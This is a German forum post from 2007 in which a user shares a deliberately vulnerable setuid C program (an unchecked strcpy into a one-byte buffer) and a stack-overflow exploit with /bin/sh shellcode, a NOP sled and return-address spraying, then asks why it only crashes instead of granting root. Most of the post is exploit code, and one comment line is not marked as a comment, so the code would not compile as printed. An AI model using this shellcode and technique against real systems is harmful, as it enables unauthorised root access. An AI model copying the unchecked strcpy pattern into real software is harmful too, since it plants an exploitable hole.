exploit zum probieren geht nicht

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von Kerestrum, 29. Januar 2007 .

Schlagworte:
  1. Diese Seite verwendet Cookies. Wenn du dich weiterhin auf dieser Seite aufhältst, akzeptierst du unseren Einsatz von Cookies. Weitere Informationen
  1. #1 29. Januar 2007
    Hi,

    also ich versuche unter Linux root-rechte zu erlangen durch ein Programm was das suid-bit gesetzt hat und root gehört. Der Code für das Programm ist folgender:

    Code:
    #include <string.h>
    
    int main(int argc, char *argv[])
    {
     char buffer[1];
     strcpy(buffer, argv[1]);
     return 0;
    }
    
    Dieses Programm versuche ich nun über die Argumente mit folgendem Programm zu exploiten. Das Programm versucht einfach nur die Stelle zu finden wo die Rücksprungadresse im Speicher ist und diese dannn mit dem Shellcode zu überschreiben. Übergabe erfolgt durch die Argumente.

    Code:
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <dirent.h>
    
    char shellcode[] =
    "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
    "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
    "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
    "\x68";
    
    unsigned long sp(void) // Funktion um den
    { __asm__("movl %esp, %eax");} // Stack Pointer zurück zu geben
    
    int main(int argc, char *argv[])
    {
     int i, offset;
     long esp, ret, *addr_ptr;
     char *buffer, *ptr;
    
     offset = 0; // offset 0 verwenden
     esp = sp(); // Aktuellen Stackpointer in ESP schreiben
     ret = esp - offset; // return-Adresse überschreiben
    
     printf("Stack pointer (ESP) : 0x%x\n", esp);
     printf("Offset from ESP : 0x%x\n", offset);
     printf("Desired Return addr : 0x%x\n", ret);
    
     buffer = malloc(600);
    
    // gesamten Puffer mit Return-Adresse füllen
     ptr = buffer;
     addr_ptr = (long *) ptr;
     for(i=0; i < 600; i+=4)
     { *(addr_ptr++) = ret; }
    
    // erste 200 bytes des Puffers mit NOP-Anweisungen füllen
     for(i=0; i <200; i++)
     {buffer[i] = '\x90'; }
    
    // Shellcode nach dem NOP-Sled schreiben
     ptr = buffer + 200;
     for(i=0; i < strlen(shellcode); i++)
     { *(ptr++) = shellcode[i]; }
    
    // String beenden
     buffer[600-1] = 0;
    
    Programm vuln mit manipuliertem Buffer als Argument aufrufen
     execl("./vuln", "vuln", buffer, 0);
    
    //Speicherpuffer freigeben
     free(buffer);
    
     return 0;
    
    }
    
    Mein Problem ist jetzt das er immer nen Segmentation fault ausgibt, was ja auch normal ist weil es nen overflow gibt. Aber ich bekomme dann keine root-rechte. Hat jemand ne Idee was man da machen könnte oder was ich falsch mache?
     

  2. Anzeige
    Dealz: stark reduzierte Angebote finden.

  3. Videos zum Thema
Die Seite wird geladen...
Similar Threads - exploit zum probieren
  1. Antworten:
    4
    Aufrufe:
    1.943
  2. Antworten:
    2
    Aufrufe:
    749
  3. Antworten:
    9
    Aufrufe:
    1.127
  4. Antworten:
    0
    Aufrufe:
    319
  5. Antworten:
    1
    Aufrufe:
    627